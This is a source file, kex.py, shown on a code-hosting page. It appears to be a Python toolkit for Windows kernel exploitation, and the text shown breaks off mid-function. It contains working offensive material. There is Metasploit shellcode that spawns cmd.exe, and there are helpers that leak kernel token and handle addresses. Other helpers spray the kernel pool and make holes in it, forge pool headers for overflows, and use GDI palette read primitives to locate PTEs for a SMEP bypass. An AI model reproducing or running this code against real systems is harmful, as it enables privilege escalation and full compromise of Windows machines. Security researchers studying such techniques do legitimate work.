-
Notifications
You must be signed in to change notification settings - Fork 24
/
Copy pathkex.py
2202 lines (1968 loc) · 93.2 KB
/
kex.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
import sys
import os
import struct
import platform
import signal
from subprocess import check_output
from ctypes import *
from ctypes.wintypes import *
#########################################################################################
#######################################Shellcodes########################################
#########################################################################################
# /*
# * windows/x64/exec - 275 bytes
# * http://www.metasploit.com
# * VERBOSE=false, PrependMigrate=false, EXITFUNC=thread,
# * CMD=cmd.exe
# */
SHELLCODE_EXEC_CMD_X64 = (
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64"
"\x2e\x65\x78\x65\x00")
#########################################################################################
######################################Common structs#####################################
#########################################################################################
ULONG_PTR = PVOID = LPVOID = PVOID64 = c_void_p
PROCESSINFOCLASS = DWORD
ULONG = c_uint32
PULONG = POINTER(ULONG)
NTSTATUS = DWORD
HPALETTE = HANDLE
QWORD = c_ulonglong
CHAR = c_char
KAFFINITY = ULONG_PTR
SDWORD = c_int32
#to be filled properly
class PEB(Structure):
_fields_ = [
("Stuff", c_byte * 0xF8),
("GdiSharedHandleTable", PVOID)
]
#source: https://msdn.microsoft.com/en-us/library/windows/desktop/ms684280(v=vs.85).aspx
class PROCESS_BASIC_INFORMATION(Structure):
_fields_ = [
("Reserved1", PVOID),
("PebBaseAddress", POINTER(PEB)),
("Reserved2", PVOID * 2),
("UniqueProcessId", ULONG_PTR),
("Reserved3", PVOID)
]
#source: https://www.ekoparty.org/archivo/2015/eko11-Abusing_GDI.pdf
class GDICELL64(Structure):
_fields_ = [
("pKernelAddress", PVOID64),
("wProcessId", USHORT),
("wCount", USHORT),
("wUpper", USHORT),
("wType", USHORT),
("pUserAddress", PVOID64)
]
#source: https://msdn.microsoft.com/en-us/library/windows/desktop/ms646340(v=vs.85).aspx
class ACCEL(Structure):
_fields_ = [
("fVirt", BYTE),
("key", WORD),
("cmd", WORD)
]
class ACCEL_ARRAY(Structure):
_fields_ = [
("ACCEL_ARRAY", POINTER(ACCEL) * 675)
]
WNDPROCTYPE = WINFUNCTYPE(c_int, HWND, c_uint, WPARAM, LPARAM)
#WNDPROC = WINFUNCTYPE(LPVOID, HWND, UINT, WPARAM, LPARAM)
#Windows 10x64 v1703
class WNDCLASSEX(Structure):
_fields_ = [
("cbSize", c_uint),
("style", c_uint),
("lpfnWndProc", WNDPROCTYPE),
("cbClsExtra", c_int),
("cbWndExtra", c_int),
("hInstance", HANDLE),
("hIcon", HANDLE),
("hCursor", HANDLE),
("hBrush", HANDLE),
("lpszMenuName", LPCWSTR),
("lpszClassName", LPCWSTR),
("hIconSm", HANDLE)
]
class PALETTEENTRY(Structure):
_fields_ = [
("peRed", BYTE),
("peGreen", BYTE),
("peBlue", BYTE),
("peFlags", BYTE)
]
class LOGPALETTE(Structure):
_fields_ = [
("palVersion", WORD),
("palNumEntries", WORD),
("palPalEntry", POINTER(PALETTEENTRY))
]
class LSA_UNICODE_STRING(Structure):
"""Represent the LSA_UNICODE_STRING on ntdll."""
_fields_ = [
("Length", USHORT),
("MaximumLength", USHORT),
("Buffer", LPWSTR)
]
class PUBLIC_OBJECT_TYPE_INFORMATION(Structure):
_fields_ = [
("Name", LSA_UNICODE_STRING),
("Reserved", ULONG * 22)
]
class SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX(Structure):
"""Represent the SYSTEM_HANDLE_TABLE_ENTRY_INFO on ntdll."""
_fields_ = [
("Object", PVOID),
("UniqueProcessId", PVOID),
("HandleValue", PVOID),
("GrantedAccess", ULONG),
("CreatorBackTraceIndex", USHORT),
("ObjectTypeIndex", USHORT),
("HandleAttributes", ULONG),
("Reserved", ULONG),
]
class SYSTEM_HANDLE_INFORMATION_EX(Structure):
"""Represent the SYSTEM_HANDLE_INFORMATION on ntdll."""
_fields_ = [
("NumberOfHandles", PVOID),
("Reserved", PVOID),
("Handles", SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * 1),
]
class PROCESSENTRY32(Structure):
"""Describes an entry from a list of the processes residing in the system
address space when a snapshot was taken."""
_fields_ = [ ( 'dwSize' , DWORD ) ,
( 'cntUsage' , DWORD) ,
( 'th32ProcessID' , DWORD) ,
( 'th32DefaultHeapID' , POINTER(ULONG)) ,
( 'th32ModuleID' , DWORD) ,
( 'cntThreads' , DWORD) ,
( 'th32ParentProcessID' , DWORD) ,
( 'pcPriClassBase' , LONG) ,
( 'dwFlags' , DWORD) ,
( 'szExeFile' , CHAR * MAX_PATH )
]
class CLIENT_ID(Structure):
_fields_ = [
("UniqueProcess", PVOID),
("UniqueThread", PVOID),
]
class THREAD_BASIC_INFORMATION(Structure):
_fields_ = [
("ExitStatus", NTSTATUS),
("TebBaseAddress", PVOID), # PTEB
("ClientId", CLIENT_ID),
("AffinityMask", KAFFINITY),
("Priority", SDWORD),
("BasePriority", SDWORD),
]
#########################################################################################
###################################Function definitions##################################
#########################################################################################
Psapi = windll.Psapi
kernel32 = windll.kernel32
ntdll = windll.ntdll
gdi32 = windll.gdi32
shell32 = windll.shell32
user32 = windll.user32
advapi32 = windll.advapi32
gdi32.CreatePalette.argtypes = [LPVOID]
gdi32.CreatePalette.restype = HPALETTE
gdi32.GetPaletteEntries.argtypes = [HPALETTE, UINT, UINT, LPVOID]
gdi32.GetPaletteEntries.restype = UINT
gdi32.SetPaletteEntries.argtypes = [HPALETTE, UINT, UINT, LPVOID]
gdi32.SetPaletteEntries.restype = UINT
gdi32.SetBitmapBits.argtypes = [HBITMAP, DWORD, LPVOID]
gdi32.SetBitmapBits.restype = LONG
gdi32.GetBitmapBits.argtypes = [HBITMAP, LONG, LPVOID]
gdi32.GetBitmapBits.restype = LONG
gdi32.CreateBitmap.argtypes = [c_int, c_int, UINT, UINT, c_void_p]
gdi32.CreateBitmap.restype = HBITMAP
ntdll.NtQueryInformationProcess.argtypes = [HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG]
ntdll.NtQueryInformationProcess.restype = NTSTATUS
ntdll.NtQueryObject.argtypes = [HANDLE, DWORD, POINTER(PUBLIC_OBJECT_TYPE_INFORMATION), ULONG, POINTER(ULONG)]
ntdll.NtQueryObject.restype = NTSTATUS
ntdll.NtQuerySystemInformation.argtypes = [DWORD, POINTER(SYSTEM_HANDLE_INFORMATION_EX), ULONG, POINTER(ULONG)]
ntdll.NtQuerySystemInformation.restype = NTSTATUS
kernel32.GetProcAddress.restype = c_ulonglong
kernel32.GetProcAddress.argtypes = [HMODULE, LPCSTR]
kernel32.OpenProcess.argtypes = [DWORD, BOOL, DWORD]
kernel32.OpenProcess.restype = HANDLE
kernel32.GetCurrentProcess.restype = HANDLE
kernel32.WriteProcessMemory.argtypes = [HANDLE, LPVOID, LPCSTR, DWORD, POINTER(LPVOID)]
kernel32.WriteProcessMemory.restype = BOOL
kernel32.VirtualAllocEx.argtypes = [HANDLE, LPVOID, DWORD, DWORD, DWORD]
kernel32.VirtualAllocEx.restype = LPVOID
kernel32.CreateRemoteThread.argtypes = [HANDLE, QWORD, UINT, QWORD, LPVOID, DWORD, POINTER(HANDLE)]
kernel32.CreateRemoteThread.restype = BOOL
kernel32.GetCurrentThread.argtypes = []
kernel32.GetCurrentThread.restype = HANDLE
advapi32.OpenProcessToken.argtypes = [HANDLE, DWORD , POINTER(HANDLE)]
advapi32.OpenProcessToken.restype = BOOL
kernel32.CreateToolhelp32Snapshot.argtypes = [DWORD, DWORD]
kernel32.CreateToolhelp32Snapshot.restype = HANDLE
kernel32.DeviceIoControl.argtypes = [HANDLE, DWORD, c_void_p, DWORD, c_void_p, DWORD, c_void_p, c_void_p]
kernel32.DeviceIoControl.restype = BOOL
ntdll.NtQueryInformationThread.argtypes = [HANDLE, DWORD, POINTER(THREAD_BASIC_INFORMATION), ULONG, POINTER(ULONG)]
ntdll.NtQueryInformationThread.restype = NTSTATUS
#########################################################################################
######################################Common constants###################################
#########################################################################################
# THREAD_INFORMATION_CLASS
ThreadBasicInformation = 0
# PROCESS_INFORMATION_CLASS
ProcessBasicInformation = 0 #Retrieves a pointer to a PEB structure that can be used to determine whether the specified process is being debugged, and a unique value used by the system to identify the specified process. It is best to use the CheckRemoteDebuggerPresent and GetProcessId functions to obtain this information.
ProcessDebugPort = 7 #Retrieves a DWORD_PTR value that is the port number of the debugger for the process. A nonzero value indicates that the process is being run under the control of a ring 3 debugger. It is best to use the CheckRemoteDebuggerPresent or IsDebuggerPresent function.
ProcessWow64Information = 26 #Determines whether the process is running in the WOW64 environment (WOW64 is the x86 emulator that allows Win32-based applications to run on 64-bit Windows). It is best to use the IsWow64Process function to obtain this information.
ProcessImageFileName = 27 # Retrieves a UNICODE_STRING value containing the name of the image file for the process. It is best to use the QueryFullProcessImageName or GetProcessImageFileName function to obtain this information.
ProcessBreakOnTermination = 29 #Retrieves a ULONG value indicating whether the process is considered critical. Note This value can be used starting in Windows XP with SP3. Starting in Windows 8.1, IsProcessCritical should be used instead.
ProcessSubsystemInformation = 75#Retrieves a SUBSYSTEM_INFORMATION_TYPE value indicating the subsystem type of the process. The buffer pointed to by the ProcessInformation parameter should be large enough to hold a single SUBSYSTEM_INFORMATION_TYPE enumeration.
ObjectBasicInformation = 0
ObjectTypeInformation = 2
SystemExtendedHandleInformation = 64
VER_NT_WORKSTATION = 1 # The system is a workstation.
VER_NT_DOMAIN_CONTROLLER = 2 # The system is a domain controller.
VER_NT_SERVER = 3 # The system is a server, but not a domain controller.
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x3
MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
PAGE_EXECUTE_READWRITE = 0x00000040
VIRTUAL_MEM = ( 0x1000 | 0x2000 )
STATUS_SUCCESS = 0
STATUS_INFO_LENGTH_MISMATCH = 0xC0000004
STATUS_BUFFER_OVERFLOW = 0x80000005L
STATUS_INVALID_HANDLE = 0xC0000008L
STATUS_BUFFER_TOO_SMALL = 0xC0000023L
PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF )
TOKEN_ALL_ACCESS = 0xf00ff
FILE_DEVICE_UNKNOWN = 0x00000022
METHOD_BUFFERED = 0x0
METHOD_IN_DIRECT = 0x1
METHOD_OUT_DIRECT = 0x2
METHOD_NEITHER = 0x3
FILE_READ_DATA = 0x1
FILE_WRITE_DATA = 0x2
FILE_ANY_ACCESS = 0x0
FORMAT_MESSAGE_FROM_SYSTEM = 0x00001000
NULL = 0x0
INVALID_HANDLE_VALUE = -1
TH32CS_SNAPPROCESS = 0x02
class x_file_handles(Exception):
pass
#########################################################################################
###################This section contains sysinfo related functions#######################
#########################################################################################
def get_kuser_shared_data():
"""
This function returns the static address of KUSER_SHARED_DATA
@return: address of KUSER_SHARED_DATA
"""
if platform.architecture()[0] == '64bit':
return 0xFFFFF78000000000
elif platform.architecture()[0] == '32bit':
return 0x7FFE0000
#source: https://github.com/tjguk/winsys/blob/master/random/file_handles.py
def signed_to_unsigned(signed):
"""
Convert signed to unsigned
@param signed: the value to be converted
"""
unsigned = struct.unpack("L", struct.pack("l", signed))
return unsigned
#source: https://github.com/tjguk/winsys/blob/master/random/file_handles.py + https://www.exploit-db.com/exploits/34272/
def get_type_info(handle):
"""
Get the handle type information.
@param handle: handle of the object
"""
public_object_type_information = PUBLIC_OBJECT_TYPE_INFORMATION()
size = DWORD(sizeof(public_object_type_information))
while True:
result = ntdll.NtQueryObject(handle, ObjectTypeInformation, byref(public_object_type_information), size, None)
if result == STATUS_SUCCESS:
return public_object_type_information.Name.Buffer
elif result == STATUS_INFO_LENGTH_MISMATCH:
size = DWORD(size.value * 4)
resize(public_object_type_information, size.value)
elif result == STATUS_INVALID_HANDLE:
print "[-] INVALID HANDLE: %s, exiting..." % hex(handle)
sys.exit(-1)
else:
raise x_file_handles("NtQueryObject", hex(result))
#source: https://github.com/tjguk/winsys/blob/master/random/file_handles.py + https://www.exploit-db.com/exploits/34272/
def get_handles():
""" Return all the open handles in the system """
system_handle_information = SYSTEM_HANDLE_INFORMATION_EX()
size = DWORD (sizeof(system_handle_information))
while True:
result = ntdll.NtQuerySystemInformation(
SystemExtendedHandleInformation,
byref(system_handle_information),
size,
byref(size)
)
if result == STATUS_SUCCESS:
break
elif result == STATUS_INFO_LENGTH_MISMATCH:
size = DWORD(size.value * 4)
resize(system_handle_information, size.value)
else:
raise x_file_handles("NtQuerySystemInformation", hex(result))
pHandles = cast(
system_handle_information.Handles,
POINTER(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * \
system_handle_information.NumberOfHandles)
)
for handle in pHandles.contents:
yield handle.UniqueProcessId, handle.HandleValue, handle.Object
def token_address_of_process(h_process, process_id):
"""
Function to get the address of the token belonging to a process
@param h_process: handle to the process
@param process_id: PID of the same process
@return: address of the token
"""
token_handle = HANDLE()
if not advapi32.OpenProcessToken(h_process,TOKEN_ALL_ACCESS, byref(token_handle)):
print "[-] Could not open process token of process %s, exiting..." % pid
sys.exit()
print "[*] Leaking token addresses from kernel space..."
for pid, handle, obj in get_handles():
if pid == process_id and get_type_info(handle) == "Token":
if token_handle.value == handle:
print "[+] PID: %s token address: %x" % (str(process_id), obj)
return obj
def get_teb_base():
"""
Function to get the TEB base address
@return: teb base address
"""
print "[*] Getting TEB base address"
h_thread = kernel32.GetCurrentThread()
tbi = THREAD_BASIC_INFORMATION()
len = c_ulonglong()
result = ntdll.NtQueryInformationThread(h_thread, ThreadBasicInformation, byref(tbi), sizeof(tbi), None)
if result == STATUS_SUCCESS:
teb_base = tbi.TebBaseAddress
print "[+] TEB base address: %s" % hex(teb_base)
return teb_base
else:
print "[-] Something wen wrong, exiting..."
sys.exit(-1)
def kernel_address_of_handle(h, process_id):
"""
Function to get the address of the handle
@param h: handle to the object
@param process_id: PID of the process
@return: address of the handle
"""
print "[*] Leaking handle addresses from kernel space..."
for pid, handle, obj in get_handles():
#print hex(handle)
if pid == process_id and handle == h:
print "[+] PID: %s handle %s address: %x" % (str(process_id), handle, obj)
return obj
def getpid(procname):
"""
Get Process Pid by procname
@param procname: the name of the process to find
@return: PID
"""
pid = None
try:
hProcessSnap = kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
pe32 = PROCESSENTRY32()
pe32.dwSize = sizeof(PROCESSENTRY32)
ret = kernel32.Process32First(hProcessSnap , byref(pe32))
while ret:
if pe32.szExeFile == LPSTR(procname).value:
pid = pe32.th32ProcessID
ret = kernel32.Process32Next(hProcessSnap, byref(pe32))
kernel32.CloseHandle ( hProcessSnap )
except Exception, e:
print "[-] Error: %s" % str(e)
if not pid:
print "[-] Could not find %s PID" % procname
sys.exit()
return pid
#########################################################################################
###############This section contains kernel pool spraying related functions##############
#########################################################################################
kernel_object_sizes = {}
#sizes of various kernel objects
kernel_object_sizes['unnamed_mutex'] = 0x50
kernel_object_sizes['unnamed_job'] = 0x168
kernel_object_sizes['iocompletionreserve'] = 0x60
kernel_object_sizes['unnamed_semaphore'] = 0x48
kernel_object_sizes['event'] = 0x40
pool_object_handles = []
#the first 0x28 bytes in the pool allocation, which will allow an overwrite
#the previous size and and the TypeIndex is set zero
pool_object_headers = {}
pool_object_headers['unnamed_mutex'] = [0x040a0000,0xe174754d,0x00000000,0x00000050,0x00000000,0x00000000,0x00000001,0x00000001,0x00000000,0x00080000]
pool_object_headers['unnamed_job'] = [0x042d0000,0xa0626f4a,0x00000000,0x00000168,0x0000006c,0x86e0bd80,0x00000001,0x00000001,0x00000000,0x00080000]
pool_object_headers['iocompletionreserve'] = [0x040c0000,0xef436f49,0x00000000,0x0000005c,0x00000000,0x00000000,0x00000001,0x00000001,0x00000000,0x00080000]
pool_object_headers['unnamed_semaphore'] = [0x04090000,0xe16d6553,0x00000000,0x00000044,0x00000000,0x00000000,0x00000001,0x00000001,0x00000000,0x00080000]
pool_object_headers['event'] = [0x04080000,0xee657645,0x00000000,0x00000040,0x00000000,0x00000000,0x00000001,0x00000001,0x00000000,0x00080000]
"""
#The original typeindex (in case I need it later)
original_typeindex = {}
original_typeindex['unnamed_mutex'] = 0xe
original_typeindex['unnamed_job'] = 0x6
original_typeindex['iocompletionreserve'] = 0xa
original_typeindex['unnamed_semaphore'] = 0x10
original_typeindex['event'] = 0xc
"""
SPRAY_COUNT = 50000
def allocate_object(object_to_use, variance):
"""
Allocate an object based on the input
@param object_to_use: name of the object to allocate
@param variance: extra string to use (typically a number) for named objects
@return: the handle to the object
"""
hHandle = HANDLE(0)
if object_to_use == 'unnamed_mutex':
hHandle = kernel32.CreateMutexA(None, False, None)
elif object_to_use == 'named_mutex':
hHandle = kernel32.CreateMutexA(None, False, "Pool spraying is cool %s" % variance)
elif object_to_use == 'unnamed_job':
hHandle = kernel32.CreateJobObjectA(None, None)
elif object_to_use == 'named_job':
hHandle = kernel32.CreateJobObjectA(None, "Job %s" % variance)
elif object_to_use == 'iocompletionport':
hHandle = kernel32.CreateIoCompletionPort(-1, None, 0, 0)
elif object_to_use == 'iocompletionreserve':
IO_COMPLETION_OBJECT = 1
ntdll.NtAllocateReserveObject(byref(hHandle), 0x0, IO_COMPLETION_OBJECT)
hHandle = hHandle.value
elif object_to_use == 'unnamed_semaphore':
hHandle = kernel32.CreateSemaphoreA(None, 0, 3, None)
elif object_to_use == 'named_semaphore':
hHandle = kernel32.CreateSemaphoreA(None, 0, 3, "My little Semaphore %s" % variance)
elif object_to_use == 'event':
hHandle = kernel32.CreateEventA(None, False, False, None)
if hHandle == None:
print "[-] Error while creating object: %s" % object_to_use
sys.exit(-1)
return hHandle
def find_object_to_spray(required_hole_size):
"""
Calculates which object to use for kernel pool spraying
@param required_hole_size: the required hole size in kernel pool, which will be overflown
@return: the object to use for creating the hole size
"""
for key in kernel_object_sizes:
if required_hole_size % kernel_object_sizes[key] == 0:
print "[+] Found a good object to spray with: %s" % key
return key
print "[-] Couldn't find proper object to spray with"
sys.exit()
def spray(required_hole_size):
"""
Spray the heap with objects which will allow us to create the required holes later
@param required_hole_size: : the required hole size in kernel pool, which will be overflown
@return: object type (name) to use for overflow
"""
global pool_object_handles
good_object = find_object_to_spray(required_hole_size)
for i in range(SPRAY_COUNT):
pool_object_handles.append(allocate_object(good_object, i))
print "[+] Spray done!"
return good_object
def make_hole(required_hole_size, good_object):
"""
Making holes in the sprayd kernel
@param required_hole_size: the required hole size in kernel pool, which will be overflown
@param good_object: object type (name) to use for overflow
"""
global pool_object_handles
nr_to_free = required_hole_size / kernel_object_sizes[good_object]
for i in range(0, SPRAY_COUNT,16):
for j in range(0,nr_to_free):
kernel32.CloseHandle(pool_object_handles[i + j])
pool_object_handles[i + j] = None
print "[+] Making holes done!"
def gimme_the_hole(required_hole_size):
"""
Spray and make holes
@param required_hole_size: the required hole size in kernel pool, which will be overflown
"""
good_object = spray(required_hole_size)
make_hole(required_hole_size, good_object)
return good_object
def close_all_handles():
"""
Close all handles, which were used for kernel pool spraying
"""
print "[+] Triggering shellcode!"
global pool_object_handles
for i in range(0, SPRAY_COUNT):
if (pool_object_handles[i] != None):
kernel32.CloseHandle(pool_object_handles[i])
pool_object_handles[i] = None
print "[+] Free pool allocations done!"
def calculate_previous_size(required_hole_size):
"""
Calculate the previous size value for the pool header
The PreviousSize value * 8 = previous chunk
@param required_hole_size: the required hole size in kernel pool, which will be overflown
@return: the previous_size value to be used on the POOL_HEADER
"""
if platform.architecture()[0] == '64bit':
return required_hole_size/16
elif platform.architecture()[0] == '32bit':
return required_hole_size/8
else:
print "[-] Couldn't determine the Windows architecture, exiting..."
sys.exit(-1)
def pool_overwrite(required_hole_size,good_object):
"""
This function will give us the data (POOL_HEADER + part of OBJECT_HEADER) to be used for the pool overwrite
@param required_hole_size: the required hole size in kernel pool, which will be overflown
@param good_object: object type (name) to use for overflow
"""
header = ''
for i in range(len(pool_object_headers[good_object])):
if i == 0:
#for the first entry we need to calculate the previous pool size value, as it's required
header += struct.pack("L",pool_object_headers[good_object][0] + calculate_previous_size(required_hole_size))
else:
header += struct.pack("L",pool_object_headers[good_object][i])
return header
#########################################################################################
######################This section contains PTE related functions########################
#########################################################################################
def get_pxe_address_x64(virtual_address, pte_base):
"""
The functions gives the PTE address for a virtual address
Based on: https://www.coresecurity.com/system/files/publications/2016/05/Windows%20SMEP%20bypass%20U%3DS.pdf
@param virtual_address: the virtual address to convert
@param pte_base: the base address for PTE
"""
pte_address = virtual_address >> 9
pte_address = pte_address | pte_base
pte_address = pte_address & (pte_base + 0x0000007ffffffff8)
return pte_address
def get_pxe_address_x32(virtual_address, pte_base):
"""
The functions gives the PTE address for a virtual address
@param virtual_address: the virtual address to convert
@param pte_base: the base address for PTE
"""
pte_address = virtual_address >> 9
pte_address = pte_address | pte_base
pte_address = pte_address & (pte_base + 0x007FFFF8)
return pte_address
def get_pte_base_old_x64():
""" Returns the PTE base address for older version of Windows (prior 1607 / Redstone 1 / Anniversary Update) """
return 0xFFFFF68000000000
def get_pte_base_old_x32():
""" Returns the PTE base address for older version of Windows (prior 1607 / Redstone 1 / Anniversary Update) """
return 0xC0000000
def leak_pte_base_palette(manager_palette, worker_palette):
"""
Based on:
https://github.com/FuzzySecurity/PSKernel-Primitives/blob/master/Pointer-Leak.ps1
and
https://www.blackhat.com/docs/us-17/wednesday/us-17-Schenk-Taking-Windows-10-Kernel-Exploitation-To-The-Next-Level%E2%80%93Leveraging-Write-What-Where-Vulnerabilities-In-Creators-Update-wp.pdf
Function to leak the PTE base from the nt!MiGetPteAddress function
@param manager_platte: handle to the manager palette
@param worker_platte: handle to the worker palette
@return: PTE base
"""
print "[*] Locating PTE base..."
#get the MmFreeNonCachedMemory address
if platform.architecture()[0] == '64bit':
kernel32.LoadLibraryExA.restype = c_uint64
kernel32.GetProcAddress.argtypes = [c_uint64, POINTER(c_char)]
kernel32.GetProcAddress.restype = c_uint64
#(krnlbase, kernelver) = find_driver_base()
krnlbase = leak_nt_base_palette(manager_palette, worker_palette)
kernelver = ['ntoskrnl.exe','ntkrnlmp.exe','ntkrnlpa.exe','ntkrpamp.exe']
for k in kernelver:
print "[+] Loading %s in userland" % k
hKernel = kernel32.LoadLibraryExA(k, 0, 1)
if hKernel != 0:
print "[+] %s base address : %s" % (k, hex(hKernel))
break
if hKernel == 0:
print "[-] Couldn't load kernel, exiting..."
sys.exit(-1)
MmFreeNonCachedMemory = kernel32.GetProcAddress(hKernel, 'MmFreeNonCachedMemory')
MmFreeNonCachedMemory -= hKernel
MmFreeNonCachedMemory += krnlbase
print "[+] MmFreeNonCachedMemory address: %s" % hex(MmFreeNonCachedMemory)
#use palettes to find the MiGetPteAddress by searching the CALL function in MmFreeNonCachedMemory
#e.g.: fffff802`3c6ba4d7 e8fc059bff call nt!MiGetPteAddress (fffff802`3c06aad8)
MmFreeNonCachedMemory_data = create_string_buffer(0x100)
read_memory_palette(manager_palette, worker_palette, MmFreeNonCachedMemory, byref(MmFreeNonCachedMemory_data), sizeof(MmFreeNonCachedMemory_data))
#loop through the function data and search for the first call (e8)
for i in range(sizeof(MmFreeNonCachedMemory_data)):
if MmFreeNonCachedMemory_data.raw[i] == '\xe8':
offset = 0x100000000 - struct.unpack("L",MmFreeNonCachedMemory_data.raw[i+1:i+5])[0]
MiGetPteAddress_address = MmFreeNonCachedMemory - offset + 5 + i
print "[+] MiGetPteAddress address: %s" % hex(MiGetPteAddress_address)
break
"""
nt!MiGetPteAddress:
fffff802`3c06aad8 48c1e909 shr rcx,9
fffff802`3c06aadc 48b8f8ffffff7f000000 mov rax,7FFFFFFFF8h
fffff802`3c06aae6 4823c8 and rcx,rax
fffff802`3c06aae9 48b80000000000baffff mov rax,0FFFFBA0000000000h
"""
pte_base = c_ulonglong()
read_memory_palette(manager_palette, worker_palette, MiGetPteAddress_address + 0x13, byref(pte_base), sizeof(pte_base))
print "[+] PTE base: %s" % hex(pte_base.value)
return pte_base.value
def make_memory_executable_palette(manager_palette, worker_palette, virtual_address):
"""
Function to change an address to executable with palettes
